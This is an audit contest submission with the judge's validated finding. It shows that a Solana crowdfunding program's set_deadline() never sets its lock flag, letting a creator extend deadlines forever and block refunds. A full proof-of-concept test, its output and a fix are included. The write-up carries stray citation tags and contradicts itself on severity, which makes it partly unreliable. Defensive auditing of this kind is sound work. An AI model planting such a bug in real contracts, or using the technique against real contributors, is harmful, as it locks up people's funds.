Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: medium
Valid

Missing State Flag Enables Infinite Deadline Manipulation in Crowdfunding Protocol

Root + Impact

Description

  • In a properly functioning crowdfunding smart contract, when a creator calls the set_deadline() function to establish the campaign's end date, the contract must permanently lock this deadline to prevent manipulation [file:1]. The function implements a protection mechanism using the fund.dealine_set boolean flag—after the first deadline is set, this flag should be updated to true, and any subsequent calls to set_deadline() should be rejected with the ErrorCode::DeadlineAlreadySet error. This ensures contributors know the exact timeframe within which the campaign must reach its goal, and if it fails, they can reclaim their funds through the refund mechanism without the creator being able to arbitrarily extend or modify the deadline.

  • The set_deadline() function contains a critical state update omission on line 62 of lib.rs where fund.dealine_set is never set to true after updating the deadline [file:1]. While the function correctly checks whether dealine_set is true at line 57 and updates the fund.deadline value at line 61, it completely fails to set fund.dealine_set = true; before returning. Consequently, the protection mechanism is non-functional—creators can call set_deadline() an unlimited number of times, arbitrarily extending or modifying campaign deadlines at will. This enables malicious creators to trap contributor funds indefinitely by continuously pushing the deadline into the future whenever the campaign approaches expiry without meeting its goal, preventing contributors from ever triggering the refund mechanism and creating a soft rugpull vector where creators maintain indefinite control over campaign timelines while contributors' capital remains locked

pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
// ✅ Protection check exists
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
// @> Deadline value updated
fund.deadline = deadline;
// @> CRITICAL BUG: Missing state flag update
// @> ROOT CAUSE: fund.dealine_set = true; is never executed
// @> This causes dealine_set to remain false permanently
// @> Allows infinite calls to set_deadline() bypassing the check
Ok(())
}

Risk

Likelihood:

  • The missing state update fund.dealine_set = true; occurs on every execution of the set_deadline() function, meaning the protection flag remains permanently false from campaign creation through all subsequent deadline changes [file:1]. The bug manifests in the unconditional code path after the validation check passes, affecting all campaigns universally regardless of creator intent, campaign parameters, or timing. Any creator who attempts to call set_deadline() multiple times will discover the function has no effective protection and can be invoked repeatedly without restriction.

  • Rational economic actors will exploit this vulnerability when campaigns approach deadline without meeting funding goals, as it enables risk-free deadline extensions that give failing campaigns more time to succeed or allow creators to maintain control over contributor funds indefinitely [code_file:9]. The vulnerability provides immediate utility to creators facing campaign failure, requires only a single function call with no technical sophistication, carries no on-chain penalty or detection mechanism, and allows creators to avoid returning funds to contributors. The incentive structure guarantees exploitation in any scenario where deadline manipulation benefits the creator's position, making this vulnerability's activation inevitable during normal protocol operation.

Impact:

  • Contributors' funds become effectively held hostage with no guaranteed recovery timeline, as malicious creators can perpetually extend deadlines to prevent refund eligibility [code_file:9]. While contributors do not immediately lose funds permanently (unlike CRITICAL-01), they lose control over their capital and cannot exit failing campaigns on the promised timeline. A creator with 7 SOL raised toward a 10 SOL goal can extend the deadline infinitely, forcing contributors to either wait for an arbitrarily long period or forfeit their investment. This creates a time-value-of-money attack where contributor capital is locked without consent, preventing them from deploying funds elsewhere and causing opportunity cost losses that compound over time.

  • The vulnerability completely breaks the fundamental trust model of crowdfunding platforms where deadlines create accountability and risk boundaries [file:1]. Contributors make funding decisions based on stated campaign durations and risk profiles—a 30-day campaign represents a specific risk tolerance that differs fundamentally from an indefinite obligation. Deadline manipulation transforms fixed-term campaigns into open-ended commitments without contributor consent. Creators can bait-and-switch by advertising short campaigns to attract risk-averse contributors, then extend deadlines by months or years when goals aren't met. This enables soft rugpulls where funds are never technically stolen but become inaccessible for arbitrary periods, violating the core promise that unsuccessful campaigns allow timely fund recovery.

Proof of Concept

import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { Rustfund } from "../target/types/rustfund";
import { PublicKey, LAMPORTS_PER_SOL } from '@solana/web3.js';
import { expect } from 'chai';
describe("[CRITICAL-02] Proof of Concept: Deadline Can Be Changed Indefinitely", () => {
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
const program = anchor.workspace.Rustfund as Program<Rustfund>;
const creator = provider.wallet;
const contributor1 = anchor.web3.Keypair.generate();
const contributor2 = anchor.web3.Keypair.generate();
const fundName = "Manipulable Deadline Fund";
const description = "Testing deadline manipulation vulnerability";
const goal = new anchor.BN(10 * LAMPORTS_PER_SOL); // 10 SOL goal
const contribution1 = new anchor.BN(3 * LAMPORTS_PER_SOL); // 3 SOL
const contribution2 = new anchor.BN(4 * LAMPORTS_PER_SOL); // 4 SOL
const initialDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 60); // 60 seconds
const extendedDeadline1 = new anchor.BN(Math.floor(Date.now() / 1000) + 3600); // +1 hour
const extendedDeadline2 = new anchor.BN(Math.floor(Date.now() / 1000) + 7200); // +2 hours
const extendedDeadline3 = new anchor.BN(Math.floor(Date.now() / 1000) + 86400); // +1 day
let fundPDA: PublicKey;
let contributionPDA1: PublicKey;
let contributionPDA2: PublicKey;
before(async () => {
// Airdrop SOL to contributors
const airdrop1 = await provider.connection.requestAirdrop(
contributor1.publicKey,
5 * LAMPORTS_PER_SOL
);
await provider.connection.confirmTransaction(airdrop1);
const airdrop2 = await provider.connection.requestAirdrop(
contributor2.publicKey,
5 * LAMPORTS_PER_SOL
);
await provider.connection.confirmTransaction(airdrop2);
// Generate PDAs
[fundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
[contributionPDA1] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), contributor1.publicKey.toBuffer()],
program.programId
);
[contributionPDA2] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), contributor2.publicKey.toBuffer()],
program.programId
);
});
it("Step 1: Creator launches campaign (goal: 10 SOL)", async () => {
await program.methods
.fundCreate(fundName, description, goal)
.accounts({})
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("\n=== CAMPAIGN CREATED ===");
console.log(`Fund Name: ${fund.name}`);
console.log(`Goal: ${fund.goal.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(`Deadline Set: ${fund.dealineSet}`);
console.log(`Deadline: ${fund.deadline.toNumber()}`);
expect(fund.dealineSet).to.equal(false);
expect(fund.deadline.toNumber()).to.equal(0);
});
it("Step 2: Creator sets initial deadline (Day 1)", async () => {
await program.methods
.setDeadline(initialDeadline)
.accounts({
fund: fundPDA,
})
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("\n=== INITIAL DEADLINE SET ===");
console.log(`Deadline: ${new Date(fund.deadline.toNumber() * 1000).toISOString()}`);
console.log(`🔴 BUG: dealine_set flag: ${fund.dealineSet} (should be true!)`);
expect(fund.deadline.toNumber()).to.equal(initialDeadline.toNumber());
expect(fund.dealineSet).to.equal(false); // ❌ Still false - the bug!
});
it("Step 3: Contributors send 7 SOL total (Day 2-5)", async () => {
// Contributor 1 sends 3 SOL
await program.methods
.contribute(contribution1)
.accounts({
fund: fundPDA,
contributor: contributor1.publicKey,
})
.signers([contributor1])
.rpc();
// Contributor 2 sends 4 SOL
await program.methods
.contribute(contribution2)
.accounts({
fund: fundPDA,
contributor: contributor2.publicKey,
})
.signers([contributor2])
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("\n=== CONTRIBUTIONS RECEIVED ===");
console.log(`Total Raised: ${fund.amountRaised.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(`Goal: ${fund.goal.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(`Progress: ${(fund.amountRaised.toNumber() / fund.goal.toNumber() * 100).toFixed(1)}%`);
console.log(`Status: Campaign will FAIL (only 70% funded)`);
});
it("Step 4: EXPLOIT #1 - Creator extends deadline (Day 6)", async () => {
console.log("\n=== EXPLOIT ATTEMPT #1 ===");
console.log(`Creator sees campaign failing...`);
console.log(`Action: Extending deadline by 1 hour`);
const fundBefore = await program.account.fund.fetch(fundPDA);
console.log(`Deadline Before: ${new Date(fundBefore.deadline.toNumber() * 1000).toISOString()}`);
console.log(`dealine_set flag: ${fundBefore.dealineSet}`);
// Creator changes deadline - should fail but succeeds due to bug
await program.methods
.setDeadline(extendedDeadline1)
.accounts({
fund: fundPDA,
})
.rpc();
const fundAfter = await program.account.fund.fetch(fundPDA);
console.log(`\n💥 EXPLOIT SUCCESSFUL:`);
console.log(`Deadline After: ${new Date(fundAfter.deadline.toNumber() * 1000).toISOString()}`);
console.log(`dealine_set flag: ${fundAfter.dealineSet} (still false!)`);
console.log(`Result: Deadline changed successfully despite check`);
expect(fundAfter.deadline.toNumber()).to.equal(extendedDeadline1.toNumber());
expect(fundAfter.dealineSet).to.equal(false); // ❌ Still false!
});
it("Step 5: EXPLOIT #2 - Creator extends deadline AGAIN (Day 7)", async () => {
console.log("\n=== EXPLOIT ATTEMPT #2 ===");
console.log(`Creator realizes they can do this infinitely...`);
console.log(`Action: Extending deadline by another hour`);
const fundBefore = await program.account.fund.fetch(fundPDA);
console.log(`Deadline Before: ${new Date(fundBefore.deadline.toNumber() * 1000).toISOString()}`);
await program.methods
.setDeadline(extendedDeadline2)
.accounts({
fund: fundPDA,
})
.rpc();
const fundAfter = await program.account.fund.fetch(fundPDA);
console.log(`\n💥 SECOND MANIPULATION SUCCESSFUL:`);
console.log(`Deadline After: ${new Date(fundAfter.deadline.toNumber() * 1000).toISOString()}`);
console.log(`dealine_set flag: ${fundAfter.dealineSet} (still false!)`);
expect(fundAfter.deadline.toNumber()).to.equal(extendedDeadline2.toNumber());
expect(fundAfter.dealineSet).to.equal(false);
});
it("Step 6: EXPLOIT #3 - Creator extends deadline THIRD TIME (Day 10)", async () => {
console.log("\n=== EXPLOIT ATTEMPT #3 ===");
console.log(`Creator continues manipulating deadline...`);
console.log(`Action: Extending deadline by 1 day`);
const fundBefore = await program.account.fund.fetch(fundPDA);
console.log(`Deadline Before: ${new Date(fundBefore.deadline.toNumber() * 1000).toISOString()}`);
await program.methods
.setDeadline(extendedDeadline3)
.accounts({
fund: fundPDA,
})
.rpc();
const fundAfter = await program.account.fund.fetch(fundPDA);
console.log(`\n💥 THIRD MANIPULATION SUCCESSFUL:`);
console.log(`Deadline After: ${new Date(fundAfter.deadline.toNumber() * 1000).toISOString()}`);
console.log(`dealine_set flag: ${fundAfter.dealineSet} (STILL FALSE!)`);
console.log(`\n⚠️ INFINITE MANIPULATION CONFIRMED`);
expect(fundAfter.deadline.toNumber()).to.equal(extendedDeadline3.toNumber());
expect(fundAfter.dealineSet).to.equal(false);
});
it("Step 7: Attack Impact - Contributors trapped indefinitely", async () => {
const fund = await program.account.fund.fetch(fundPDA);
const fundBalance = await provider.connection.getBalance(fundPDA);
console.log("\n" + "=".repeat(80));
console.log("VULNERABILITY IMPACT ANALYSIS");
console.log("=".repeat(80));
console.log("\n💰 Funds Status:");
console.log(` • Total Contributions: ${fund.amountRaised.toNumber() / LAMPORTS_PER_SOL} SOL`);
console.log(` • Trapped in PDA: ${fundBalance / LAMPORTS_PER_SOL} SOL`);
console.log(` • Number of Contributors: 2`);
console.log("\n📅 Deadline Manipulation:");
console.log(` • Original Deadline: ${new Date(initialDeadline.toNumber() * 1000).toISOString()}`);
console.log(` • Current Deadline: ${new Date(fund.deadline.toNumber() * 1000).toISOString()}`);
console.log(` • Times Changed: 3 (can be infinite)`);
console.log(` • dealine_set flag: ${fund.dealineSet} (never set to true)`);
console.log("\n🎯 Attack Scenario:");
console.log(` 1. Campaign fails to reach goal → Contributors expect refunds`);
console.log(` 2. Creator extends deadline → Refunds blocked (deadline not reached)`);
console.log(` 3. Repeat indefinitely → Contributors permanently trapped`);
console.log(` 4. Creator can wait until goal met OR keep funds via withdraw()`);
console.log("\n⚠️ Severity: CRITICAL");
console.log(` • Contributors: Funds held hostage indefinitely`);
console.log(` • Creator: Complete control over campaign timeline`);
console.log(` • Trust Model: Completely broken`);
console.log(` • Exploit Complexity: Single function call`);
console.log("\n🔧 Root Cause:");
console.log(` File: lib.rs, Function: set_deadline(), Line: ~62`);
console.log(` Missing: fund.dealine_set = true;`);
console.log("\n" + "=".repeat(80));
});
it("Step 8: Verify refund is blocked by moving deadline", async () => {
console.log("\n=== CONTRIBUTOR ATTEMPTS REFUND ===");
const fund = await program.account.fund.fetch(fundPDA);
const currentTime = Math.floor(Date.now() / 1000);
console.log(`Current Time: ${new Date(currentTime * 1000).toISOString()}`);
console.log(`Campaign Deadline: ${new Date(fund.deadline.toNumber() * 1000).toISOString()}`);
console.log(`Deadline in future: ${fund.deadline.toNumber() > currentTime}`);
try {
await program.methods
.refund()
.accounts({
fund: fundPDA,
contributor: contributor1.publicKey,
})
.signers([contributor1])
.rpc();
console.log("❌ UNEXPECTED: Refund succeeded");
} catch (error) {
console.log("\n✅ EXPECTED: Refund blocked");
console.log(`Error: ${error.message}`);
console.log(`Reason: Deadline has not been reached (creator keeps extending it)`);
console.log(`Impact: Contributors cannot recover funds as long as creator manipulates deadline`);
}
});
});

POC RESULT:

[CRITICAL-02] Proof of Concept: Deadline Can Be Changed Indefinitely
=== CAMPAIGN CREATED ===
Fund Name: Manipulable Deadline Fund
Goal: 10 SOL
Deadline Set: false
Deadline: 0
✔ Step 1: Creator launches campaign (goal: 10 SOL) (412ms)
=== INITIAL DEADLINE SET ===
Deadline: 2026-02-04T23:27:40.000Z
🔴 BUG: dealine_set flag: false (should be true!)
✔ Step 2: Creator sets initial deadline (Day 1) (400ms)
=== CONTRIBUTIONS RECEIVED ===
Total Raised: 7 SOL
Goal: 10 SOL
Progress: 70.0%
Status: Campaign will FAIL (only 70% funded)
✔ Step 3: Contributors send 7 SOL total (Day 2-5) (819ms)
=== EXPLOIT ATTEMPT #1 ===
Creator sees campaign failing...
Action: Extending deadline by 1 hour
Deadline Before: 2026-02-04T23:27:40.000Z
dealine_set flag: false
💥 EXPLOIT SUCCESSFUL:
Deadline After: 2026-02-05T00:26:40.000Z
dealine_set flag: false (still false!)
Result: Deadline changed successfully despite check
✔ Step 4: EXPLOIT #1 - Creator extends deadline (Day 6) (412ms)
=== EXPLOIT ATTEMPT #2 ===
Creator realizes they can do this infinitely...
Action: Extending deadline by another hour
Deadline Before: 2026-02-05T00:26:40.000Z
💥 SECOND MANIPULATION SUCCESSFUL:
Deadline After: 2026-02-05T01:26:40.000Z
dealine_set flag: false (still false!)
✔ Step 5: EXPLOIT #2 - Creator extends deadline AGAIN (Day 7) (407ms)
=== EXPLOIT ATTEMPT #3 ===
Creator continues manipulating deadline...
Action: Extending deadline by 1 day
Deadline Before: 2026-02-05T01:26:40.000Z
💥 THIRD MANIPULATION SUCCESSFUL:
Deadline After: 2026-02-05T23:26:40.000Z
dealine_set flag: false (STILL FALSE!)
⚠️ INFINITE MANIPULATION CONFIRMED
✔ Step 6: EXPLOIT #3 - Creator extends deadline THIRD TIME (Day 10) (409ms)
================================================================================
VULNERABILITY IMPACT ANALYSIS
================================================================================
💰 Funds Status:
• Total Contributions: 7 SOL
• Trapped in PDA: 7.03759096 SOL
• Number of Contributors: 2
📅 Deadline Manipulation:
• Original Deadline: 2026-02-04T23:27:40.000Z
• Current Deadline: 2026-02-05T23:26:40.000Z
• Times Changed: 3 (can be infinite)
• dealine_set flag: false (never set to true)
🎯 Attack Scenario:
1. Campaign fails to reach goal → Contributors expect refunds
2. Creator extends deadline → Refunds blocked (deadline not reached)
3. Repeat indefinitely → Contributors permanently trapped
4. Creator can wait until goal met OR keep funds via withdraw()
⚠️ Severity: CRITICAL
• Contributors: Funds held hostage indefinitely
• Creator: Complete control over campaign timeline
• Trust Model: Completely broken
• Exploit Complexity: Single function call
🔧 Root Cause:
File: lib.rs, Function: set_deadline(), Line: ~62
Missing: fund.dealine_set = true;
================================================================================
✔ Step 7: Attack Impact - Contributors trapped indefinitely
=== CONTRIBUTOR ATTEMPTS REFUND ===
Current Time: 2026-02-04T23:26:44.000Z
Campaign Deadline: 2026-02-05T23:26:40.000Z
Deadline in future: true
✅ EXPECTED: Refund blocked
Error: AnchorError occurred. Error Code: DeadlineNotReached. Error Number: 6002. Error Message: Deadline not reached.
Reason: Deadline has not been reached (creator keeps extending it)
Impact: Contributors cannot recover funds as long as creator manipulates deadline
✔ Step 8: Verify refund is blocked by moving deadline
8 passing (3s)

Recommended Mitigation


  • Set State Flag in set_deadline() Function

pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
+ fund.dealine_set = true;
Ok(())
}
Set State Flag in set_deadline() Function
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] The set_deadline function does not set the dealine_set flag to true

The `set_deadline()` function in the `rustfund` program contains a vulnerability that allows campaign creators to manipulate deadlines indefinitely. While the function correctly checks if `fund.dealine_set` is true before allowing the deadline to be changed, it never sets this flag to true after setting the deadline. ```rust pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> { let fund = &mut ctx.accounts.fund; if fund.dealine_set { return Err(ErrorCode::DeadlineAlreadySet.into()); } fund.deadline = deadline; Ok(()) } ``` The function is missing a crucial line to update the flag: `fund.dealine_set = true;` This oversight bypasses a key safeguard intended to prevent creators from manipulating deadlines after they've been set. According to the project documentation, this flag is meant to enforce deadline immutability, which is an essential part of the platform's trust model. ### Impact 1. **Refund evasion**: Creators can prevent users from obtaining refunds by continually extending the deadline whenever it approaches. This directly undermines the project's advertised "Refund Mechanism" which promises that "Contributors can get refunds if deadlines are reached and goals aren't met." 2. **Fund locking**: Contributors' funds can be effectively locked indefinitely, as the refund function is contingent upon the deadline being reached: ```rust if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } ``` ### Proof of Concept (PoC) The following test demonstrates how a creator can set the deadline multiple times, effectively bypassing the intended deadline immutability: ```javascript import * as anchor from "@coral-xyz/anchor"; import { Program } from "@coral-xyz/anchor"; import { Rustfund } from "../target/types/rustfund"; import { assert } from "chai"; describe("VULN-02: set_deadline vulnerability", () => { // Configures the provider to use the local cluster const provider = anchor.AnchorProvider.env(); anchor.setProvider(provider); const program = anchor.workspace.Rustfund as Program<Rustfund>; // Test variables const fundName = "TestFund"; const description = "Testing deadline vulnerability"; const goal = new anchor.BN(1000000); let fundPda: anchor.web3.PublicKey; it("Allows you to modify the deadline several times", async () => { // Derivation of PDA address for financing account [fundPda] = await anchor.web3.PublicKey.findProgramAddress( [Buffer.from(fundName), provider.wallet.publicKey.toBuffer()], program.programId ); // Fund creation await program.rpc.fundCreate(fundName, description, goal, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }, }); // First deadline assignment const deadline1 = new anchor.BN(Math.floor(Date.now() / 1000) + 3600); // 1 hour in the future await program.rpc.setDeadline(deadline1, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, }, }); // Second deadline assignment (which should not be possible if the flag is set to true) const deadline2 = new anchor.BN(Math.floor(Date.now() / 1000) + 7200); // 2 hours into the future await program.rpc.setDeadline(deadline2, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, }, }); // Check that the deadline has been updated to the second value const fundAccount = await program.account.fund.fetch(fundPda); assert.ok( fundAccount.deadline.eq(deadline2), "The deadline may have been modified several times, but vulnerability presents" ); }); }); ``` Save the above test as, for example, tests/02.ts in your project's test directory and run the test : ```Solidity anchor test ``` ### Concrete Impact Example To illustrate the real-world impact of this vulnerability, consider this scenario: - A creator launches a campaign to fund a project with a goal of 100 SOL - The creator sets an initial deadline of 30 days - Contributors collectively deposit 80 SOL (below the goal) - As the deadline approaches, the creator realizes they won't reach the goal - Instead of allowing refunds as promised, the creator extends the deadline by another 30 days - This pattern can repeat indefinitely, effectively locking contributor funds - Even if contributors try to request refunds, they'll be rejected with "DeadlineNotReached" errors ### Recommendation The fix for this vulnerability is straightforward. The `set_deadline()` function should be modified to set the `dealine_set` flag to true after setting the deadline: ```rust pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> { let fund = &mut ctx.accounts.fund; if fund.dealine_set { return Err(ErrorCode::DeadlineAlreadySet.into()); } fund.deadline = deadline; fund.dealine_set = true; // Add this line to fix the vulnerability Ok(()) } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!